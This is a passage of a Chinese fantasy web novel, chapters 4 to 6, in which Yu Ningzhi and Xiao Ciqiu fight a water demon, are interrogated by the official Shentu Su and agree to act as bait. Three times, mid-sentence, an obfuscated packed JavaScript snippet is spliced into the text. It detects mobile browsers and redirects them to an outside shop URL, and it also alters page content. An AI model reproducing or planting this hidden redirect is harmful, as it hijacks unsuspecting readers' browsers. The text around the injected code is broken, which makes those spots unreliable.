那夜后,萧辞秋心中疑虑重重,为何仇家会执着于喜神,喜神到底在谁手里,这群人到底是谁的爪牙?另外,他还有一事百思不得其解。
为何那夜犹如神降的郁宁止,会在醒来后忘记所有事情,不记得自己的出身和过往,不记得她曾一息之间除去林中恶人数名,甚至不记得自己会用剑。
郁宁止的生疏不似作伪,人可以撒谎,却很难违背千万遍磨练而成的身体记忆。
萧辞秋正沉思着,不觉将目光全身心投掷向郁宁止。
有人将一锭银子放置在盘中,手上忽而落实的重量让他回神,与此同时,一抹鲜明的红挤入他视线。
“郁姑娘今日的舞大有进益,这身衣裳不错,衬她肤色。”
这位相貌不凡的年轻郎君噙着浅笑,衣着张扬惹眼,正是近来常来海神社的申屠肃。
萧辞秋觉得此人言行浮夸轻佻,根本不堪配名中那个肃字。
他也不接话,托着盘子就要离开。
申屠肃仍旧笑意盈盈,用手中未斩开的折扇拦住这位不识好歹的杂役,没有计较他的失礼,反而和颜悦色道:“劳烦你转告郁姑娘,让她散场后留步,我有事要亲自问她。”
说着,他又拿出银子,塞给萧辞秋:“辛苦你转达,就说我特意在酒楼摆了席面邀她一叙,外头的车马就在那儿候着,只等着她。”
萧辞秋心底不悦,他直接将钱丢了回去。
“不必等,我替她回你,”萧辞秋一字一句道,“不去,烦请收回你那几个散钱,她看不上。”
4. 第 4 章
至此,这位申屠肃才终于睁眼瞧他,那双如蜜糖般浓稠的琥珀眼瞳清亮无比,只是这会儿他眼睛已经微微眯起,仔细端详着这个不识好歹的杂役。
“你是郁姑娘什么人?”
萧辞秋道:“与你何干?”
“既如此,我想要见郁姑娘,又与你何干?”
申屠肃的眉头下压,略遮住了些眼瞳,平添了几分带着疏离漠然的威压。
无需多言,在他话音刚落下之际,便有人悄无声息上前,举起手中巡防营的牌子表明身份。
在看清察子标识的那一刻,萧辞秋瞳孔骤然收缩,冷汗霎时间从额头渗出,他的心一下子沉入了谷底,连带着半个字都不敢多说。
若是他还是肆意的萧氏独子,别说是一个小小察子,除非靖命司官员亲自施压,否则这么小小一个巡防营,萧家有的是办法砸钱摆平。
萧辞秋梗着脖子不知该不该低头认错,申屠肃却像是浑不在意一般,侧首看了看台上的郁宁止,表情颇有些忍俊不禁的意味。
他咳嗽了声,压抑住唇角笑意,用扇子点了点察子的肩膀,半个字都没说,便径直离去。
就好像,方才的不愉快只有萧辞秋一个人在意。
萧辞秋松了口气,后知后觉感觉到脑袋发飘。他头一次被人轻视,等意识到这件事时,舌根开始发酸,紧紧抓着木盘,连里头的铜钱都跟着他发颤。
但当察子重新提了一遍方才的邀请,他仍旧寸步不让。
“恕难从命,其实郁姑娘是我的……”
忽闻异动。
浪涛自远处起,腾涌而上,跃至半空,直冲岸边人群袭来。
萧辞秋想起近来浮殷城内的传闻,连忙躲闪,用托盘去挡,可浪尖擦着盘底过去,萧辞秋手腕一酸,木盘已经被打翻,钱币哗啦啦撒了一地。
他忙回头去看,浪已经奔向台前。
水浪擦过萧辞秋的耳廓,带起一片湿润的寒凉,他怔愣间,赶忙高声警告那些没来得及反应的看客。
“小心!”
危难之际,他还是忍不住看向了台上,郁宁止隔着朦胧雨雾与他对视一瞬,接着跳下高台,险险避过碧涛凝聚而成的水柱。
水纵横,天际乱,沸声漫天。
就在郁宁止落地时,原本行径笔直的水柱立刻更改方向,在半空生硬转折,掉头继续向郁宁止攻来。
人群有人惊慌失措,口不择言:“魔物!有魔物混进来了,救命啊,救命!”
尖叫声此起彼伏,让郁宁止耳朵有点疼,她已经听见萧辞秋冲他大喊:“郁宁止,小心身后!”
有台壁作挡,她稍得喘息,可一抬头便看见身前站了一名青年男子,单手擎伞,双目紧闭。
方才在台上郁宁止便注意到了此人。
鹤貌玉容,姿容奇佳,眉心坠了颗鸽血红玉珠作饰,成了他身上唯一艳色。
除惹眼样貌外,他也实在奇特,明明就站在台下,可无论四周人如何议论,他都不曾睁开眼。
细细看来,那双眼球在他玉耀肌肤之下,并未有过任何不安动摇,即便是四周乱作一团,他仍稳站在那儿,仍是不肯看凡尘。
于是郁宁止便断定,此人是个瞎子,且是个不太能照料自己的瞎子。
没有犹豫,郁宁止抓住他的手腕,将他拉至身侧,躲过了从顶而至的席卷。
他果然看不见,被拉得向前趔趄,伞也向郁宁止这边倾斜,他来不及反应,又被夺了伞。
两人靠的很近,先是耳坠边的穗子扫过他的脸侧,而后郁宁止极快极清亮的声音覆过喧闹:“借伞一用。”
郁宁止上前一步,以伞面作挡,想要阻断水继续前行。
巨大水花顺着伞骨绽开,水遇壁未退,反而越挫越勇,改变形态,涛似连山喷雪,似是想直接将伞后的人吞没。
郁宁止联想到传言,断定确是魔物作祟无疑,可这附近连个修士都没见到,求助无门,她连自保都难。
伞面因巨大冲击开始出现撕裂痕迹,竹骨几欲弯折。
终于,这把伞不必再苦苦支撑,四分五裂,被流水吞噬,而后四散分离。
排山倒海之势向郁宁止涌去,遮天蔽日,若沧海成空,尽数聚集于此。
她躲闪不及,被浪涛击中,从始至终,她都没有因惊惧而闭眼静待死亡。
在被水卸去力气前,她用尽最后力气,冲着那名盲眼青年用力一踹,想要将他踢出水流范围。
听觉被水膜阻挡,可郁宁止天生耳力极佳,隔着重重阻碍,还是听到一声颇为滑稽的尖叫:“少宫主!”
这场来势汹汹的突袭让不少人都卷入其中,郁宁止并不是唯一,魔物的胃口比先前大了许多,不过已经有了收手的迹象。
她醒目的红衣在水中尤其刺眼,这套衣服并不算合身,水抚平了衣服上的褶皱,原本堆积在绸料上的墨色龙纹舒展身体,随着水波流动晃动身躯,点睛的金线折射点点微光,栩栩如生,像是下一刻就能活过来似的。
水不再躁动,而是有统一了流向,一股巨大的吸力让水中的人背心向南,失去平衡。
有无形力量簇拥着郁宁止,几息间将她推行数丈远。
越是情况危机,越是需要冷静思考。
郁宁止并未坐以待毙,从她被拖进来的那一刻,就一直在观察四周情况,现下魔物在渭水边引起躁动,很快便会引起巡防营察子的注意。
当今世道,魔族与人呈水火之势,为除魔卫民,才有了靖命司,而后又在各地巡防营设观风亭,由灰衣察子探查收集信息,处理非常之事。
在察子们寻到此处之前,她要尽可能留在岸上。
只是四周空无一物,她几次想要下潜,很快就会被承托起来,再度飘至中心。
她干脆不再抵抗,继续面朝南方,保存好为数不多的体力,顺势漂走。
直到远离人群,快要被拖拽到河里,郁宁这才找准时机翻转身体,屏息凝神,在途径岸边柳树时,先是抓住了几根柳条,而后单手抽出腰侧的木剑,将剑横向卡在树枝间。
软嫩的柳条被拽断不少,郁宁止肺腑的空气所剩无几,她有些头昏眼花,可心跳飞速异常,再加上水中光线不好,让视线受阻,她只能告诫自己不要着急,一边调整姿势,一边顺着树干往地面缓缓下降。
还好她一直方才没有将剑留在台上,看来靠天靠地不如靠自己。
河中聚起漩涡,吸力更甚,似乎想要将她带走。
郁宁止已经摸到地面,她整个身体被更为劲猛的水流拖拽向后,半个人悬空着,只能一手牢牢抓着草根,一手将剑插入地面,靠着每次移动三掌宽的距离,竟也一点点往自由挪去。
就在她一只手已经穿出水膜边缘的时候,有一个着黄衫戴红玉冠的女子不知何时到了她身前,她柔韧的身躯倾倒过来,浸入水中,双手握住郁宁止的手,不是要助郁宁止逃离此处,而是费尽力气想要将她的手指掰开,再度让她陷入险境。
郁宁止愤然抬头,却见赵娘子面无表情盯着她,眼神空洞,整个人失魂落魄看向她,口中似乎想要说些什么。
但赵娘子只是肉|体凡胎,刚想说话,口鼻便被反灌入许多水。
见此情状,郁宁止心中了然,应当是赵娘子为魔所祸,才会有诸多诡异行径。
她不知道哪里生出的勇气,反客为主,干脆拽着赵娘子的手腕,借力钻了出来。
湿润的空气争先恐后涌入肺腑,郁宁止猛咳几声,这才感觉自己活了过来。
眼前金星缭绕,她跪坐在岸边,四肢酸软无力,还没提起力气,就感觉头顶发麻,她敏锐的从嘈杂的雨声中捕获了金石划破空气的微弱声音。
郁宁止偏过头去,躲开了赵娘子毫无预兆的一记直刺。
艰难扭过身去,郁宁止才发现赵娘子正直勾勾盯着她,像是看着一件死物。
手中银簪落空,她像是提线木偶般,臂膀僵直,没有任何抬手助力的动作,再次向郁宁止的脖颈划去。
但这会儿郁宁止已经耗去不少力气,方才的躲闪近似直觉本能,现下一口气没缓过来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122763|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼前突然发昏,耳边响起嗡鸣声,根本无从躲闪。
一息之间,她眼前才复现光明。
迎接她的并非穿喉之伤。
有腥甜血气顺着雨落在血色全无的脸上,顺着她的脸颊流淌而下。
五感归位,骤然暂停一瞬的心脏立刻紧随着跳动,差点从嗓子眼里蹦出来。
少年粗喘的声音在耳边尤其清晰。
萧辞秋的手已经被簪子刺穿,他低吼了一声:“跑!”
来不及了。
那股不知源头的水潮已然退却,漩涡却没有消失。
郁宁止用那把已经隐隐出现断裂痕迹的木剑撑起身体,耳边被无数迥异的音色充斥着。
“殿下——”
“殿下——”
“殿下——”
原本被卷入浪中的看客们已经落地,朝着他们围了过来。
赵娘子的身体软绵绵垂下,像是被抽去力气,很快整个人都倒在地上。
几股黑烟从她七窍浮出,在空中聚成影。
郁宁止使劲眨眨眼,道:“萧辞秋,赵娘子身上……”
萧辞秋的捂着伤口,没敢直接把深嵌在骨肉中的簪子拔下来,他注意到四周的诡异情景,深深皱着眉头:“这些人到底怎么回事。”
郁宁止再度提醒:“赵娘子身上好像有道黑影。”
闻言,萧辞秋顺着她的目光忘了过去,眉间折痕更深。
“什么黑影?”
郁宁止的心凉了半截,倒不是因为萧辞秋不能看见赵娘子身上的异常,而是那黑影显然不是什么良善之辈,他捡起赵娘子昏迷时不慎碰掉的红玉冠,朝着郁宁止一步步走来。
“殿——下——”他声音苍老,却带着无端狂热。
那些被魔操控了神智的人也像有了主心骨死的,齐齐拖着腔,冲她喊:“殿——下——”
黑影的身形模糊,如风中残烛,忽高忽低,时胖时瘦,漆黑的烟雾在周身缭绕,别说是看清五官美丑,就连是男是女都很难辨出。
可郁宁止就是感觉有一双眼睛藏在黑影间,就这么直勾勾望向她。
郁宁止发现自己的双眼根本离不开这个影子,她在被迫和一双不存在的眼睛对视。
双腿也像是被钉在了原地,动不了半寸。
后知后觉的萧辞秋发现拽不动郁宁止,四周的人也已经围了上来。
不过这群行尸走肉并没有伤害他们二人,而是如同虔诚的信徒一般,依次跪服在郁宁止身边。
虔诚而狂热。
没过多久,他们又伸出手,想要去拉郁宁止的衣摆。
有几条已经泡得发白发胀的手掺了上来,萧辞秋看着无动于衷的郁宁止,头皮发麻,不知是痛的还是吓的,浑身冷汗直冒,溻湿了整片脊梁。
他边踹人边骂:“滚开,都滚开啊,离我远点!”
这么说着,但萧辞秋的手从未松开,还在试图将郁宁止带走。
郁宁止被他吵得头疼,可她无法回应,没有办法让萧辞秋放弃自己,另寻生路。
与此同时,郁宁止发现黑影的声音已经变了,她艰难从这些人重复的嗫嚅中拼凑出一句完整的句子。
“魂兮归来。”
那只红玉冠,已经悬在她面前。
在长久而沉默的斗争中,郁宁止的尾指轻轻抽搐了一下。
她吐出不甚清晰的字,反抗着想要桎梏她的那股力量,反抗无形的威压。
“不。”
就在郁宁止夺回声音的那一刻,一股温暖而干燥的气,顺着她的喉舌向上翻滚,迅速凝聚到额心。
虚空之中,郁宁止听见一声清脆的破裂。
她不明白那是什么,不知道这种神乎其神的体验应该怎么形容,但她确信掌心的力量无比真实,那股额心的气顺着经脉涌向四肢百骸,最终化为一道剑气。
一道势不可挡,石破天惊的剑气。
轰隆一声,对岸的山脉似有虚影,大地为之震颤,淇水断流,天际云破。
雨停了。
5. 第 5 章
红玉冠应声落地,虚影被剑气分断两截,消失无踪。
郁宁止的身体一直在颤抖,简直要喘不上来气,她还不敢相信方才那一剑是自她手中所出,将那柄平平无奇的木剑翻来覆去看了好几遍,而后才恍若大梦初醒般发问。
“得救了?”
她说完,感觉身体都轻盈了不少,随之而来的就是失重感。
喜极而泣的萧辞秋情难自已,紧紧抱住郁宁止,成了郁宁止此刻不会跌倒的支点。他几欲落泪,深吸一口气,鼻尖心头却泛起酸。
他低低嗯了声,薄唇差点要在瑟索中印在郁宁止额间,可他定了定心神,还是克制回应她。
“得救了。”
才怪。
郁宁止再次恢复神智,已近日暮。
残阳将她额角细小透明的绒毛都照出一层茸茸的金光,多日阴雨带来的潮气还未散,她觉得鼻尖还有微微的潮气,忍不住嗅了嗅。
眼皮还像是黏住了似的,格外沉重,可耳边已经能隐约听到声音,似乎是两个人在争抢些什么。
接着,她整个人被圈在怀里,动弹不得,呼吸发紧。
为了不被勒死,她尽力挣扎,无奈整个人像是被泡在水里,躯干昏沉,有种难以抵抗的坠落感让她头晕目眩,完全无法控制自己。
等到四周好不容易清净了些,没过多久,再次爆发争吵。
这回她听得真切,是萧辞秋。
郁宁止忍无可忍,还未看清周围情形,便费力掀开嘴唇,含糊不清道:“别吵。”
视线慢慢清晰,迎面而来的就是萧辞秋的脸。
他嘴唇未动,郁宁止却听见一声轻笑:“哟,郁姑娘醒了。怎么样,头疼吗?需不需要我找人给你把个脉。”
语气亲切,尾音上挑,倒是端的一副好脾气。
不过这人的行事做派倒与他说话风格截然不同,他仍是靠坐在椅背上,不算端正,却也称不上懒怠闲散。
素面纱氅,黛蓝直袍,衣绣白虎纹,腰饰错金嵌玉螭首带钩。
郁宁止记得此人,他就是近些日子常来海神社的申屠肃。
只是这一身端正庄重的装扮倒陌生,他素日着红衣锦袍,且爱极了繁复新奇的装饰,人还未到,就能听见远处泠泠的清脆环佩声。
申屠肃手里把玩着那柄木剑,似乎有些兴致缺缺,目光已经前移到郁宁止身上。
郁宁止被搀扶着站了起来,发现已经有人为她搬来了凳子。
申屠宁肃噙着笑:“傻站着干什么,时间还早,坐吧。”
郁宁止还未说话,萧辞秋声色俱厉,冷声回道:“申屠公子这是何意?若无要紧事,还请放我等离开。”
这话刚说出来,屋里的人全都看了过来,直盯得人心里发毛。
郁宁止看到玄衣祓魔卫指腹推动,腰上闪现寒光一寸,利刃蓄势待发。她按着萧辞秋,不动声色暗示他勿要多言,随即道:“申屠大人尽可直言,我二人定然知无不言。”
申屠肃面上依旧和颜悦色,只是这会儿眼睛微微眯起,像是社里表演用的狐狸假面,似笑非笑,让人猜不透情绪。
他指节叩了叩,一句轻飘飘的“带下去”,一旁的祓魔卫立刻领会,两人出列,配合着将萧辞秋拖拽着拉出去。
萧辞秋奋力挣扎,郁宁止也想要阻拦,忙要叫停:“等等。”
一回头,申屠肃行迹如鬼魅,悄无声息来到郁宁止背后,将那木剑压在她肩上。
瞬间,肩上似担了千斤重,硬是把她按在了凳子上。
“放轻松,我只是想审审你。我这人好与人为善,最见不惯有人动用私刑,严刑逼供,你只要好好回答我几个问题,我保你平安无事。”
郁宁止对抗失败,不知道他葫芦里卖的是什么药,索性不说话。
萧辞秋见她还算识时务,便重新坐了回去,只是这次,他姿态更为悠闲,斜倚在扶手上,支起头,似乎只是闲聊天。
“郁姑娘来海神社不久,又不是浮殷地方人士,和社里没少发生矛盾吧?”申屠肃叹了口气,带着怜悯,“不妨说来听听,我在浮殷还算说得上话。”
郁宁止并不上当,惊讶道:“这我倒是听不明白了,赵娘子宽仁,肯收留我们兄妹二人,已是莫大的恩情,申屠大人这话若让旁人学了去,往后叫我如何自处?”
她两条似鹤羽般清秀修长的乌眉轻蹙,美人含愁,叫人不忍心为难。
申屠肃听罢,鼻间轻哼,说不准是嘲笑还是不屑,他道:“你既说与萧辞秋是兄妹,为何连姓氏都不一样。”
“表兄妹。”郁宁止不紧不慢补充道。
“北境萧氏并不多见,我观你们二人打扮不俗,怎么飘零至此。”
“逃命。”
“为何逃?”
“家门不幸,逢难出逃。”
“天灾还是人祸?”
“可能算是人祸。”
“打算去往何方?”
“说不准,哪有活路,奔向哪里。”
至此,申屠肃终于直起身子,收敛了原先的笑意,显现出檐下冰凌般的寒冷锐利。
“是说不准,还是不记得?”
他抬眉望了过来,和气道:“郁姑娘记性不好,我替你仔细回忆回忆。”
“今年五月,萧家遭难,阖府仅剩公子萧辞秋一人侥幸逃脱,一路逃亡至北境,这才救起了你。”
“你们扮作兄妹,骗取赵娘子信任,博得她同情,进了海神社,而后便随海神社来到浮殷。”
“巧了不是,自你们到浮殷,不久便有魔族出没,专掳兄妹,失踪者皆是溺水而亡,死状安详,尸身隔日自淇水浮现,无一例外……”
从始至终,申屠肃都没有眨过眼,郁宁止眼都酸了,败下阵来,狂眨几次眼缓解不适。
这场不算争斗的争斗让郁宁止有点郁闷,她有一搭没一搭听着,可能是因为记忆残缺,她对于常人所恐惧的事总是淡然处之,反倒是在这种不必分出胜负的地方额外在意。
萧辞秋说她幼稚,郁宁止觉得是萧辞秋玩不起。
但她自己真比不过的时候,通常会不作数,放任自己重新来过。
有申屠肃试探她的这会儿功夫,她的心思早就已经飘远了。
发觉郁宁止走神,申屠肃顿了顿,罕见的拧起眉头,有些不悦。
“郁宁止。”他再度叩了下指节,总算矜持的动了动眼皮。
郁宁止毫不心虚,仍是一副柔婉恭顺的神情:“大人请讲。”
一直稳坐上方的申屠肃终于肯迂尊降贵来到郁宁止身前,以居高临下的绝对姿态警告她:“你最好能够解释这个巧合,不然我只能将你和萧辞秋按照可疑魔族处置。”
郁宁止道:“魔族我已经杀了。”
“谁能证明?”申屠肃几句就把他先前所说的话推翻,“萧辞秋是你的同伙,海神社的人也脱不了干系,收留你们的赵娘子自身难保,现下正在别处接受审问,你猜谁的嘴更硬?还是你觉得祓魔卫没有办法撬开你们的嘴。”
郁宁止没有被他的话吓到,继续说:“淇水边还有活人,他们也能作证。若是人证不够,还有物证。”
话说到这里,申屠肃总算不兜圈子,让人把红玉冠呈上来。
“你说的物证,应当是此物。”他上下扫视了一遍郁宁止的穿着打扮,“别怪我没有提醒你,来历不明的衣物最好不要穿在身上,小心鬼上身。”
郁宁止后知后觉,混身汗毛竖起,她忙克制住了脸上嫌恶,怯生生道:“这套东西到底是什么来历,莫不是当日赵娘子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122764|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被无良商贩诓骗?”
申屠肃见她郁闷,心情颇佳:“赵娘子从商贩手里买到的确实是价值连城的宝贝,只是你们这小小的海神社可供奉不起。因贪引祸,以致塞智为昏,变恩为惨,染洁为污,坏了一生人品。”
海神社常年入不敷出,赵娘子在许多方面也是能省则省,这东西一看就价值不菲,赵娘子即便讨价还价,也未必能从那贩子手里讨得便宜。
再者,据郁宁止观赵娘子私下所着衣衫,稍能入眼的多为半旧成色,钱本就是赵娘子出的,这身行头本就是借给郁宁止用的,便是赵娘子出于种种顾虑,没把红玉冠借出来,也不能平白诬蔑她藏私。
郁宁止打断他:“胡言乱语,颠倒是非,赵娘子先是被人蒙骗,误将此物带回海神社,后又被魔物迷惑,险些丧命。她本就深受其害,怎么到了大人口中,倒成了贪婪,大人若是怀疑赵娘子是编谎话,故意诓骗,大可让察子寻那商贩过来,一问便知。”
“这些东西出自天家,御赐之物。只这一条,若是真追究起来,你们有几条命也填不上。”
一句话,让郁宁止哑口无言。
就算她还没见过什么权贵,可也明白这东西并非他们这些无权无势的人能够随意使用的。
着装本是小事,不追究衣食僭越已是一种微妙的共识,但御赐龙纹衣物,与寻常戏服不同,可要是有人故意较真,也足够让他们引火上身。
申屠肃直起身子,将她瞬间僵硬的姿态尽收眼底。
“怎么突然不爱说话了?”他皮笑肉不笑,“真要计较起来,你不仅穿了不合规制的衣服,还差点砍碎了价值连城的玉冠,不仅要赔,还要被问罪,若真要罚人,头一个罚的就是你。”
郁宁止感觉钱包一紧,想起里头那几枚可怜的钱币,轻轻闭起眼:“要钱没有,要命你现在就可以拿去。”
这会儿她已经有些装不下去了。
贤妻人设装多了,人会有点傻,忘记眼前这个人和她头脑简单四肢也并不发达的夫君并不相同。
这个人不好糊弄啊。
“我说了,我不爱私自行刑。”申屠肃两指的指腹用力,就要去扯下钱袋。
郁宁止与他角力一阵,不分胜负,最终因为听见隐隐裂帛声而率先作罢。
接着,她脸色灰败,听见对方清亮爽朗的嘲笑:“就这几个子儿,你还护个什么劲啊。”
郁宁止听这话,不满道:“钱袋子是我们贫民的底线,大人既看不上这点钱,那就还我。”
她抬手要夺回自己的底线,可申屠肃早有预料,举高手臂仰身向后躲过。
“别急,”申屠肃笑眼弯弯,像一肚子坏水的狡猾狐狸,“我我有一个办法,能让你将功赎罪,还能让整个海神社免于责难,你听还是不听。”
天上不会掉馅饼,其中必定有诈。
郁宁止眼神一寸不肯离开自己的钱袋,她道:“这和钱没关系吧。”
“当然有。”
郁宁止看向他的手,他看着郁宁止的眼。
有一颗极淡的痣,生在她的右眼睑上,就像是纸上误落下一点浅墨,明明不是摄魂夺魄的绚丽笔墨,可就因为是不从心的一点失误,除瞩目外,还多了点意外和烦躁。
不过这种烦躁也如笔洗里的荡漾的墨汁一般,不去故意搅动,顷刻间四散隐匿。
瞬息间回神,申屠肃的话未曾停顿:“你造成的损失,我会全权负责。不止是你,此案牵连的一干人等我都可以为他们兜底。”
“只要你和你的情哥哥做饵,引出魔族,让我能尽快了结此案,一切都好商量。钱是小问题,案子也可以是。”
郁宁止没纠正申屠肃口中的错误称呼,她挣扎了一下,还是问出了一件她更为在意的事:“你们还招人吗?”
6. 第 6 章
申屠肃手底下的每个人看起来都品貌非凡,更重要的事,他们每个人都是一副不缺钱的样子,令她心生艳羡。
无奈申屠肃说在她手底下做事有门槛,长期招人,但不招长期的人。
听起来比较废人命,怪不得一眼扫去全是年轻人。
郁宁止叹了口气,觉得这世道赚钱的门路真是可遇不可求。
“唉。”
听见郁宁止幽幽叹息,坐在她面前的萧辞秋以为她累了,放下手中的灯盏,不由分说地去拿她手中木桨。
“我来。”
他行动快过言语。
郁宁止顾及着他掌心的穿刺伤,挡下他的动作,直言拒绝:“别了,你划的话,咱们可能今晚就找不到了。”
据申屠肃所说,那魔物能凭借水隐藏自己形迹,需要凤凰火才能照出踪迹。若是让萧辞秋单手划船,不知要找几天。
诸多事就坏在一个“迟”上,郁宁止唯恐夜长梦多,迟生变数,所以拒绝得很干脆。
话音刚落,便引来萧辞秋狐疑凝视,郁宁止又道:“夫君,你手上的伤势未痊愈,还是让我来吧。”
萧辞秋手落了回去,他觉得妻子自从被申屠肃审问后,就有些不对劲。
他状似不经意般问郁宁止:“申屠公子为难你了吗,怎的这般心烦意乱,一直叹气。”
郁宁止道:“我是叹人命各不相同啊。”
不过她没有再将话引回到申屠肃身上,他今晚已经问的足够仔细了,以至于她这会儿听到申屠这两个字都有点累。
“你瞧,”她用下巴指了指方向,“有人泛舟是为了游湖赏景,咱俩驾舟则是为了活命。”
她已经有点困了,打了个哈欠:“还不知道什么时候才能找到那魔族,难道魔族晚上不睡觉吗?”
魔族晚上睡不睡觉萧辞秋不知道,但他知道一个瞎子来赏景绝不寻常。
离近些,他才发现另一艘船上的人白日里才见过。
正是那个今日来听戏的瞎眼青年,他似乎很怕冷,披了件足以称为冬衣的氅衣,明明所乘船只比他们宽敞数倍,身旁有仆役侍奉,却无人掌灯,船也一动不动,从他发现那刻,便一直停在原地。
郁宁止与萧辞秋又不能因为此人放弃对湖心的搜查,所以连郁宁止都犹豫了一下。
形迹可疑,目的不明。这会儿湖面无风,夤夜寂静,绝大多数瞎子的耳力都超脱常人。
郁宁止和萧辞秋默契地交换了一个眼神,选择用唇形对话。
郁宁止问:这人在这里做什么,要过去吗?
萧辞秋仔细辨认,问:什么?
两人进行了一阵驴唇不对马嘴的交流,最终还是郁宁止重新搅动湖面,朝那边划去。
两船相撞,皆摇晃了好一阵。
郁宁止眼疾手快,护住了装着凤凰火的琉璃灯盏,倒是萧辞秋差点跌入湖中。
对面也没好到哪去,惊慌失措间,有人愤怒道:“你做什么!”
这回倒是有机会看清楚他们船只原本所在的水面了。
并无异常,郁宁止说不清是失落还是庆幸,兴许都有。
听着对面喋喋不休的控诉,她赶紧道歉:“不好意思,刚才没看清你们。”
她话音一转,又好心道:“你们是被困在这里了吗,需不需要我们帮忙?”
原本抱怨的话都被她的热情噎了回去,斥责她的少年人看着她温柔面孔,不觉红了脸。
他没有回答,反而是身后的瞎眼公子开口替他解围:“无妨,夜来寂静,故来此听风弹琴,以疏解心中郁闷,谢姑娘此番思量。”
四下无处可逃,而这人又实在可疑,郁宁止直接提灯去照,对方的眼睫颤动,似乎被凤凰火的光晃了一下。
接着,他睁开眼,琥珀色眼瞳在昏黄灯光下像浊酒色泽,澄澈亮黄。
许是见了风,他声音有些哑:“两位是乘兴夜游至此吗?”
比起游湖,郁宁止更愿意睡觉,不过她还没想出借口,便捕捉到四周细弱的水流声。
无风起浪,转眼间遮盖月华流光,似要将整个天地吞没。
凤凰火随疯狂晃动,似乎将要从琉璃灯罩中冲出来。
郁宁止感到手心发烫,船被突如其来的浪打翻,落水的一瞬间,她听见白日里那些乱七八糟的呼喊声向她涌来。
水中漩涡让郁宁止根本无从辨别方向,还有这些声音干扰。
同行者不知去向,她想要奋力往水面游去,却发现自己距离天上月越来越远。
乾坤扭转,天地倒悬。
郁宁止被拽入漩涡中心,没有沉入满是淤泥的河床上,反而平稳落在地面。
水不见了,浓烟滚滚,分不清是残霞如血,还是火光映满了天际。四周都是惊慌失措的呼救,还有木头燃烧时产生的劈啪细碎声响。
朱红宫墙延伸到看不见的地方,门外人潮如流水,郁宁止进入到这里时,正站在门内,整个人顺着缝隙在瞧外头的情况。
她后知后觉这个视角有些奇怪,直起腰来,又踮了踮脚,发现自己矮了许多,双手也还稚嫩,布满了伤痕,虎口处有明显的擦伤,正冒着血。
在一片嘈杂中,风声忽至耳边。
郁宁止没有回头,凭借本能歪头倒向一侧,下意识侧身查看,一柄闪着寒光的剑堪堪擦过她额角细碎凌乱的茸发。
来不及躲闪,有人扯着她的胳膊硬生生往后撤了半丈,这才没让第三剑砍中她腰侧。
身后飘来轻笑:“害怕了?”
逆着光,申屠肃回头冲她挑眉戏谑道:“放心,既然承诺要保你,就不会轻易让你死。”
谈笑间,利刃出,血气漫。
郁宁止惊魂未定,缓缓伸出手,冲他背影比了个中指。
贱人一个,分明早就到了,还非要置她于险境。
申屠肃出剑快,身法也很快,即便是有人前仆后继冲他们杀来,也没叫他皱一皱眉头。
刀光剑影混作一片狼藉,黛蓝色锦缎在火光的映照下泛起幽幽光泽,衣袍翻飞,带起清风一片。
郁宁止已经捡起琉璃灯,这里是魔造幻境,这些刺客也并非活人,只要有凤凰火在侧,寻常幻影不敢接近,所以她才敢守着凤凰火站在申屠肃身后观摩他行剑走势。
自从河畔一剑震天撼地,郁宁止就对先前提不起来兴趣的剑术产生了好奇。
她注视着申屠肃的动作,想要将他手腕翻转和脚下步调都看得更清楚一些。
无奈剑如其人,申屠肃的剑招比他本人还要花哨,根本无从记忆。
不过观赏性确实很高,尤其是那柄剑,较寻常剑要厚上些许,剑身花纹如冰裂之痕,挥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122765|195972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
动时恍若有断冰碎骨之声,明明隔了很远,这些声音在郁宁止耳中却犹在身边。
疤痕有些胀痛,这让她觉得有些手痒。
郁宁止正看得出神,再度听到身后有人在悄悄走近。
出于警惕,她将凤凰火举起,同时拇指按在了关窍上,只要有人近身,她会立刻打开琉璃灯,让凤凰火沿着魔气追杀那只魔族。
转身回眸,郁宁止没看见狰狞的魔面,只见萧辞秋惊慌失措中冲她作噤声状。
他拽着郁宁止手腕,想要带她逃离这片混乱。
郁宁止觉得这并不是明智的选择,毕竟萧辞秋和她不过能堪堪自保,若是乱跑遇上了魔头,说不准就要命丧于此。
稍微挣扎,发现如今的她身体不过豆蔻时龄,力气也消了不少,根本挣脱不开。
他们正逆流而行,所有的宫人都抛之身后,热浪阵阵,浓烟四起,没有人关心他们为何会如此突兀奔走,只关心他们是否挡了自己的路。
萧辞秋听见周围人的谩骂,感受到她的不情愿,稍微停顿,对郁宁止说:“我背你。”
有人代步,郁宁止自然乐意,只是她还想知道萧辞秋为何会突然出现,又突然带她逃跑。
